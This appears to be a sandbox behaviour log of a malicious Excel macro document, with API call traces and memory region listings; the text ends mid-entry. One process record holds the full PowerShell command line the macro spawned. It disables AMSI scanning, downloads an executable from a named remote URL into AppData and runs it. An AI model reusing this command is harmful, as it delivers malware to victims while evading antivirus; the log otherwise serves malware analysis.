	[0142.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=12, lpMultiByteStr=0x3c7828, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbookam Files (x86)\\Common Files\\Microsoft Shared\\OFFICE12\\MSO.DLL#Microsoft Office 16.0 Object Library", lpUsedDefaultChar=0x0) returned 12
	[0142.545] CExposedStream::Write () returned 0x0
	[0142.545] CExposedDocFile::CreateStream () returned 0x0
	[0142.546] CExposedStream::Write () returned 0x0
	[0142.546] CExposedStream::Write () returned 0x0
	[0142.546] CExposedStream::Write () returned 0x0
	[0142.547] CExposedStream::Write () returned 0x0
	[0142.547] CExposedStream::Write () returned 0x0
	[0142.547] CExposedStream::Write () returned 0x0
	[0142.547] CExposedStream::Commit () returned 0x0
	[0142.551] CExposedDocFile::CreateStream () returned 0x0
	[0142.551] CExposedStream::Write () returned 0x0
	[0142.551] CExposedStream::Commit () returned 0x0
	[0142.554] CExposedDocFile::Release () returned 0x0
	[0142.554] CExposedDocFile::CreateStream () returned 0x0
	[0142.554] lstrlenA (lpString="ThisWorkbook") returned 12
	[0142.554] CExposedStream::Write () returned 0x0
	[0142.554] CExposedStream::Write () returned 0x0
	[0142.554] CExposedStream::Write () returned 0x0
	[0142.554] CExposedStream::Seek () returned 0x0
	[0142.554] CExposedStream::SetSize () returned 0x0
	[0142.554] CExposedStream::Release () returned 0x0
	[0142.554] CExposedDocFile::CreateStream () returned 0x0
	[0142.554] wsprintfA (in: param_1=0x3c7724, param_2="%s=\"" | out: param_1="ID=\"") returned 4
	[0142.554] lstrcatA (in: lpString1="ID=\"", lpString2="{9E0CD9A1-2AA5-478D-AF17-7E61BD613EC2}" | out: lpString1="ID=\"{9E0CD9A1-2AA5-478D-AF17-7E61BD613EC2}") returned="ID=\"{9E0CD9A1-2AA5-478D-AF17-7E61BD613EC2}"
	[0142.554] lstrcatA (in: lpString1="ID=\"{9E0CD9A1-2AA5-478D-AF17-7E61BD613EC2}", lpString2="\"\r\n" | out: lpString1="ID=\"{9E0CD9A1-2AA5-478D-AF17-7E61BD613EC2}\"\r\n") returned="ID=\"{9E0CD9A1-2AA5-478D-AF17-7E61BD613EC2}\"\r\n"
	[0142.554] lstrlenA (lpString="ID=\"{9E0CD9A1-2AA5-478D-AF17-7E61BD613EC2}\"\r\n") returned 45
	[0142.555] CExposedStream::Write () returned 0x0
	[0142.555] wsprintfA (in: param_1=0x3c7448, param_2="%s=" | out: param_1="Document=") returned 9
	[0142.555] lstrlenA (lpString="Document=") returned 9
	[0142.556] lstrlenA (lpString="ThisWorkbook") returned 12
	[0142.556] wsprintfA (in: param_1=0x3c745d, param_2="/&H%08lX\r\n" | out: param_1="/&H00000000\r\n") returned 13
	[0142.556] lstrlenA (lpString="Document=ThisWorkbook/&H00000000\r\n") returned 34
	[0142.556] CExposedStream::Write () returned 0x0
	[0142.556] wsprintfA (in: param_1=0x3c7724, param_2="%s=\"" | out: param_1="Name=\"") returned 6
	[0142.556] lstrlenA (lpString="Name=\"") returned 6
	[0142.556] lstrcatA (in: lpString1="VBAProject", lpString2="\"\r\n" | out: lpString1="VBAProject\"\r\n") returned="VBAProject\"\r\n"
	[0142.556] lstrlenA (lpString="Name=\"VBAProject\"\r\n") returned 19
	[0142.556] CExposedStream::Write () returned 0x0
	[0142.556] wsprintfA (in: param_1=0x3c7724, param_2="%s=\"%d\"\r\n" | out: param_1="HelpContextID=\"0\"\r\n") returned 19
	[0142.556] lstrlenA (lpString="HelpContextID=\"0\"\r\n") returned 19
	[0142.556] CExposedStream::Write () returned 0x0
	[0142.556] wsprintfA (in: param_1=0x3c7724, param_2="%s=\"%u\"\r\n" | out: param_1="VersionCompatible32=\"393222000\"\r\n") returned 33
	[0142.556] lstrlenA (lpString="VersionCompatible32=\"393222000\"\r\n") returned 33
	[0142.556] CExposedStream::Write () returned 0x0
	[0142.556] wsprintfA (in: param_1=0x3c6ee8, param_2="%s=\"" | out: param_1="CMG=\"") returned 5
	[0142.556] GetTickCount () returned 0x3119c
	[0142.556] lstrlenA (lpString="{9E0CD9A1-2AA5-478D-AF17-7E61BD613EC2}") returned 38
	[0142.557] GetTickCount () returned 0x3119c
	[0142.557] GetTickCount () returned 0x3119c
	[0142.557] lstrcatA (in: lpString1="CMG=\"", lpString2="1C1E143A2C5230523052305230" | out: lpString1="CMG=\"1C1E143A2C5230523052305230") returned="CMG=\"1C1E143A2C5230523052305230"
	[0142.557] lstrcatA (in: lpString1="CMG=\"1C1E143A2C5230523052305230", lpString2="\"\r\n" | out: lpString1="CMG=\"1C1E143A2C5230523052305230\"\r\n") returned="CMG=\"1C1E143A2C5230523052305230\"\r\n"
	[0142.557] lstrlenA (lpString="CMG=\"1C1E143A2C5230523052305230\"\r\n") returned 34
	[0142.557] CExposedStream::Write () returned 0x0
	[0142.557] wsprintfA (in: param_1=0x3c6ee8, param_2="%s=\"" | out: param_1="DPB=\"") returned 5
	[0142.557] lstrlenA (lpString="") returned 0
	[0142.557] GetTickCount () returned 0x3119c
	[0142.557] lstrlenA (lpString="{9E0CD9A1-2AA5-478D-AF17-7E61BD613EC2}") returned 38
	[0142.557] lstrcatA (in: lpString1="DPB=\"", lpString2="383A304331433143" | out: lpString1="DPB=\"383A304331433143") returned="DPB=\"383A304331433143"
	[0142.557] lstrcatA (in: lpString1="DPB=\"383A304331433143", lpString2="\"\r\n" | out: lpString1="DPB=\"383A304331433143\"\r\n") returned="DPB=\"383A304331433143\"\r\n"
	[0142.557] lstrlenA (lpString="DPB=\"383A304331433143\"\r\n") returned 24
	[0142.557] CExposedStream::Write () returned 0x0
	[0142.557] wsprintfA (in: param_1=0x3c6ee8, param_2="%s=\"" | out: param_1="GC=\"") returned 4
	[0142.557] GetTickCount () returned 0x3119c
	[0142.557] lstrlenA (lpString="{9E0CD9A1-2AA5-478D-AF17-7E61BD613EC2}") returned 38
	[0142.557] GetTickCount () returned 0x3119c
	[0142.557] GetTickCount () returned 0x3119c
	[0142.557] lstrcatA (in: lpString1="GC=\"", lpString2="54565C42645F655F65A0" | out: lpString1="GC=\"54565C42645F655F65A0") returned="GC=\"54565C42645F655F65A0"
	[0142.557] lstrcatA (in: lpString1="GC=\"54565C42645F655F65A0", lpString2="\"\r\n" | out: lpString1="GC=\"54565C42645F655F65A0\"\r\n") returned="GC=\"54565C42645F655F65A0\"\r\n"
	[0142.557] lstrlenA (lpString="GC=\"54565C42645F655F65A0\"\r\n") returned 27
	[0142.557] CExposedStream::Write () returned 0x0
	[0142.558] CExposedStream::Write () returned 0x0
	[0142.558] CExposedStream::Write () returned 0x0
	[0142.558] CExposedStream::Write () returned 0x0
	[0142.558] CExposedStream::Write () returned 0x0
	[0142.560] CExposedDocFile::Release () returned 0x1
	[0142.657] CExposedDocFile::OpenStorage () returned 0x0
	[0142.657] CExposedDocFile::AddRef () returned 0x2
	[0142.732] GetFullPathNameA (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\share.cgissid07Ua3Tpfid07Ua3TpfilenameRFQ0332.xlsopenfolderforcedownloadep.xls", nBufferLength=0x104, lpBuffer=0x3ce5e4, lpFilePart=0x3ce590 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\share.cgissid07Ua3Tpfid07Ua3TpfilenameRFQ0332.xlsopenfolderforcedownloadep.xls", lpFilePart=0x3ce590*="share.cgissid07Ua3Tpfid07Ua3TpfilenameRFQ0332.xlsopenfolderforcedownloadep.xls") returned 0x68
	[0142.738] CExposedDocFile::Release () returned 0x1
	[0142.760] CExposedDocFile::Release () returned 0x0
	[0142.760] CExposedDocFile::Release () returned 0x0
	[0142.813] IsWindow (hWnd=0x0) returned 0
	[0142.813] IsWindow (hWnd=0x0) returned 0
	[0142.813] PeekMessageA (in: lpMsg=0x3ceb30, hWnd=0x20206, wMsgFilterMin=0x1007, wMsgFilterMax=0x1007, wRemoveMsg=0x3 | out: lpMsg=0x3ceb30) returned 0
	[0142.815] DestroyWindow (hWnd=0x20206) returned 1
	[0142.816] DeleteDC (hdc=0x720108d4) returned 1
	[0142.817] GlobalDeleteAtom (nAtom=0xc145) returned 0x0
	[0143.003] DllDebugObjectRPCHook () returned 0x1
	[0143.008] VirtualFree (lpAddress=0x42d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0143.010] Sleep (dwMilliseconds=0x0) 
	[0143.010] CoFreeUnusedLibraries () 
	[0143.052] OleUninitialize () 
	[0143.052] FreeLibrary (hLibModule=0x75a00000) returned 1
	[0143.052] IUnknown:AddRef (This=0x75d266bc) returned 0x1
	[0143.052] FreeLibrary (hLibModule=0x65300000) returned 1
	[0143.052] UnregisterClassA (lpClassName="DFrame", hInstance=0x65000000) returned 0
	[0143.052] UnregisterClassA (lpClassName="CBar", hInstance=0x65000000) returned 0
	[0143.052] UnregisterClassA (lpClassName="CBarPopup", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="CPal", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="DesignerWindow", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="DockingView", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="GenericPane", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="FontPopup", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="HiddenRpcWindow", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="IbPaneWndClass", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="NameListWndClass", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="ObPaneWndClass", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="ObtbarWndClass", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="OfVbEg", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="PbrsHost", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="PIXPOP", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="PopupTipWndClass", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="PROJECT", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="ToolsPalette", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="THUNDER_HwndBmpInProgress", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="ThunderMain", hInstance=0x65000000) returned 1
	[0143.053] UnregisterClassA (lpClassName="Thunder", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="ThunderRT6", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="ThunderRT6Main", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="VbaWindow", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="VBBubble", hInstance=0x65000000) returned 1
	[0143.053] UnregisterClassA (lpClassName="VBBubbleRT6", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="vbeCodeWindow", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="VBFloatingPalette", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="VBFocus", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="VBFocusRT6", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="VBMdiChildHack", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="VBMDITempChild", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="VBMDITempChildRT6", hInstance=0x65000000) returned 0
	[0143.053] UnregisterClassA (lpClassName="VBMsoStdCompMgr", hInstance=0x65000000) returned 0
	[0143.054] UnregisterClassA (lpClassName="VBSplash", hInstance=0x65000000) returned 0
	[0143.054] UnregisterClassA (lpClassName="VBSlider", hInstance=0x65000000) returned 0
	[0143.054] UnregisterClassA (lpClassName="wndclass_desked_gsk", hInstance=0x65000000) returned 0
	[0143.054] UnregisterClassA (lpClassName="wndclass_flex_gsk", hInstance=0x65000000) returned 0
	[0143.054] UnregisterClassA (lpClassName="wndclass_pbrs", hInstance=0x65000000) returned 0

Thread:
	id = 21
	os_tid = 0x0


Thread:
	id = 22
	os_tid = 0x948


Thread:
	id = 23
	os_tid = 0x94c


Thread:
	id = 24
	os_tid = 0x950


Thread:
	id = 25
	os_tid = 0x954


Thread:
	id = 26
	os_tid = 0x958


Thread:
	id = 27
	os_tid = 0x95c


Process:
	id = "2"
	image_name = "powershell.exe"
	filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe"
	page_root = "0x72533000"
	os_pid = "0x960"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x79c"
	cmd_line = "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);If (test-path  $env:APPDATA + '\\aap6.exe') {Remove-Item  $env:APPDATA + '\\aap6.exe'}; $OEKQD = New-Object System.Net.WebClient; $OEKQD.Headers['User-Agent'] = 'USR-KL'; $OEKQD.DownloadFile('http://3lionsfactory.ga/out/linit.exe', $env:APPDATA + '\\aap6.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\\aap6.exe'); Stop-Process -Id $Pid -Force"
	cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\"
	os_username = "XABNCPUWKW\\kFT6uTQW"
	os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ed36" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 564
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 565
	        start_va = 0x30000
	          end_va = 0x31fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 566
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x40000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 567
	        start_va = 0x50000
	          end_va = 0x53fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000050000"
	        filename = ""

Region:
	              id = 568
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000060000"
	        filename = ""

Region:
	              id = 569
	        start_va = 0xb0000
	          end_va = 0xeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000b0000"
	        filename = ""

Region:
	              id = 570
	        start_va = 0x1d0000
	          end_va = 0x20ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001d0000"
	        filename = ""

Region:
	              id = 571
	        start_va = 0x21ac0000
	          end_va = 0x21b31fff
	     entry_point = 0x21ac0000
	     region_type = mapped_file
	            name = "powershell.exe"
	        filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")

Region:
	              id = 572
	        start_va = 0x77a00000
	          end_va = 0x77ba8fff
	     entry_point = 0x77a00000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 573
	        start_va = 0x77be0000
	          end_va = 0x77d5ffff
	     entry_point = 0x77be0000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 574
	        start_va = 0x7efb0000
	          end_va = 0x7efd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efb0000"
	        filename = ""

Region:
	              id = 575
	        start_va = 0x7efdb000
	          end_va = 0x7efddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdb000"
	        filename = ""

Region:
	              id = 576
	        start_va = 0x7efde000
	          end_va = 0x7efdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efde000"
	        filename = ""

Region:
	              id = 577
	        start_va = 0x7efdf000
	          end_va = 0x7efdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdf000"
	        filename = ""

Region:
	              id = 578
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 579
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 580
	        start_va = 0x7fff0000
	          end_va = 0x7fffffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fff0000"
	        filename = ""

Region:
	              id = 581
	        start_va = 0x3a0000
	          end_va = 0x41ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003a0000"
	        filename = ""

Region:
	              id = 582
	        start_va = 0x74f70000
	          end_va = 0x74f77fff
	     entry_point = 0x74f70000
	     region_type = mapped_file
	            name = "wow64cpu.dll"
	        filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")

Region:
	              id = 583
	        start_va = 0x74f80000
	          end_va = 0x74fdbfff
	     entry_point = 0x74f80000
	     region_type = mapped_file
	            name = "wow64win.dll"
	        filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")

Region:
	              id = 584
	        start_va = 0x74fe0000
	          end_va = 0x7501efff
	     entry_point = 0x74fe0000
	     region_type = mapped_file
	            name = "wow64.dll"
	        filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")

Region:
	              id = 585
	        start_va = 0x777e0000
	          end_va = 0x778fefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000777e0000"
	        filename = ""

Region:
	              id = 586
	        start_va = 0x77900000
	          end_va = 0x779f9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000077900000"
	        filename = ""

Region:
	              id = 587
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 588
	        start_va = 0xf0000
	          end_va = 0x156fff
	     entry_point = 0xf0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 589
	        start_va = 0x5b0000
	          end_va = 0x6affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000005b0000"
	        filename = ""

Region:
	              id = 590
	        start_va = 0x75e80000
	          end_va = 0x75ec5fff
	     entry_point = 0x75e80000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")

Region:
	              id = 591
	        start_va = 0x75fb0000
	          end_va = 0x760bffff
	     entry_point = 0x75fb0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")

Region:
	              id = 592
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 593
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 594
	        start_va = 0x20000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 595
	        start_va = 0x74620000
	          end_va = 0x74669fff
	     entry_point = 0x74620000
	     region_type = mapped_file
	            name = "mscoree.dll"
	        filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll")

Region:
	              id = 596
	        start_va = 0x75550000
	          end_va = 0x75563fff
	     entry_point = 0x75550000
	     region_type = mapped_file
	            name = "atl.dll"
	        filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll")

Region:
	              id = 597
	        start_va = 0x75730000
	          end_va = 0x7573bfff
	     entry_point = 0x75730000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")

Region:
	              id = 598
	        start_va = 0x75740000
	          end_va = 0x7579ffff
	     entry_point = 0x75740000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")

Region:
	              id = 599
	        start_va = 0x757d0000
	          end_va = 0x7586cfff
	     entry_point = 0x757d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")

Region:
	              id = 600
	        start_va = 0x759e0000
	          end_va = 0x759f8fff
	     entry_point = 0x759e0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")

Region:
	              id = 601
	        start_va = 0x75a00000
	          end_va = 0x75a8efff
	     entry_point = 0x75a00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")

Region:
	              id = 602
	        start_va = 0x75be0000
	          end_va = 0x75d3bfff
	     entry_point = 0x75be0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")

Region:
	              id = 603
	        start_va = 0x75d40000
	          end_va = 0x75dcffff
	     entry_point = 0x75d40000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")

Region:
	              id = 604
	        start_va = 0x75dd0000
	          end_va = 0x75e7bfff
	     entry_point = 0x75dd0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")

Region:
	              id = 605
	        start_va = 0x76380000
	          end_va = 0x76389fff
	     entry_point = 0x76380000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")

Region:
	              id = 606
	        start_va = 0x770d0000
	          end_va = 0x771bffff
	     entry_point = 0x770d0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")

Region:
	              id = 607
	        start_va = 0x771c0000
	          end_va = 0x772bffff
	     entry_point = 0x771c0000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")

Region:
	              id = 608
	        start_va = 0x773c0000
	          end_va = 0x77416fff
	     entry_point = 0x773c0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")

Region:
	              id = 609
	        start_va = 0x77740000
	          end_va = 0x777dffff
	     entry_point = 0x77740000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")

Region:
	              id = 610
	        start_va = 0x210000
	          end_va = 0x397fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000210000"
	        filename = ""

Region:
	              id = 611
	        start_va = 0x860000
	          end_va = 0x86ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000860000"
	        filename = ""

Region:
	              id = 612
	        start_va = 0x75a90000
	          end_va = 0x75aeffff
	     entry_point = 0x75a90000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")

Region:
	              id = 613
	        start_va = 0x77670000
	          end_va = 0x7773bfff
	     entry_point = 0x77670000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")

Region:
	              id = 614
	        start_va = 0x30000
	          end_va = 0x36fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 615
	        start_va = 0x70000
	          end_va = 0x71fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 616
	        start_va = 0x80000
	          end_va = 0x82fff
	     entry_point = 0x80000
	     region_type = mapped_file
	            name = "powershell.exe.mui"
	        filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui")

Region:
	              id = 617
	        start_va = 0x90000
	          end_va = 0x90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000090000"
	        filename = ""

Region:
	              id = 618
	        start_va = 0xa0000
	          end_va = 0xa0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000a0000"
	        filename = ""

Region:
	              id = 619
	        start_va = 0x160000
	          end_va = 0x19ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000160000"
	        filename = ""

Region:
	              id = 620
	        start_va = 0x420000
	          end_va = 0x5a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000420000"
	        filename = ""

Region:
	              id = 621
	        start_va = 0x710000
	          end_va = 0x74ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000710000"
	        filename = ""

Region:
	              id = 622
	        start_va = 0x7e0000
	          end_va = 0x7effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000007e0000"
	        filename = ""

Region:
	              id = 623
	        start_va = 0x870000
	          end_va = 0x1c6ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000870000"
	        filename = ""

Region:
	              id = 624
	        start_va = 0x74ee0000
	          end_va = 0x74f5ffff
	     entry_point = 0x74ee0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")

Region:
	              id = 625
	        start_va = 0x1a0000
	          end_va = 0x1a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001a0000"
	        filename = ""

Region:
	              id = 626
	        start_va = 0x1c70000
	          end_va = 0x1d4efff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001c70000"
	        filename = ""

Region:
	              id = 627
	        start_va = 0x76390000
	          end_va = 0x76412fff
	     entry_point = 0x76390000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")

Region:
	              id = 628
	        start_va = 0x1b0000
	          end_va = 0x1b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001b0000"
	        filename = ""

Region:
	              id = 629
	        start_va = 0x76480000
	          end_va = 0x770c9fff
	     entry_point = 0x76480000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")

Region:
	              id = 630
	        start_va = 0x74590000
	          end_va = 0x7459afff
	     entry_point = 0x74590000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")

Region:
	              id = 631
	        start_va = 0x75530000
	          end_va = 0x75546fff
	     entry_point = 0x75530000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll")

Region:
	              id = 632
	        start_va = 0x1c0000
	          end_va = 0x1c1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001c0000"
	        filename = ""

Region:
	              id = 633
	        start_va = 0x6b0000
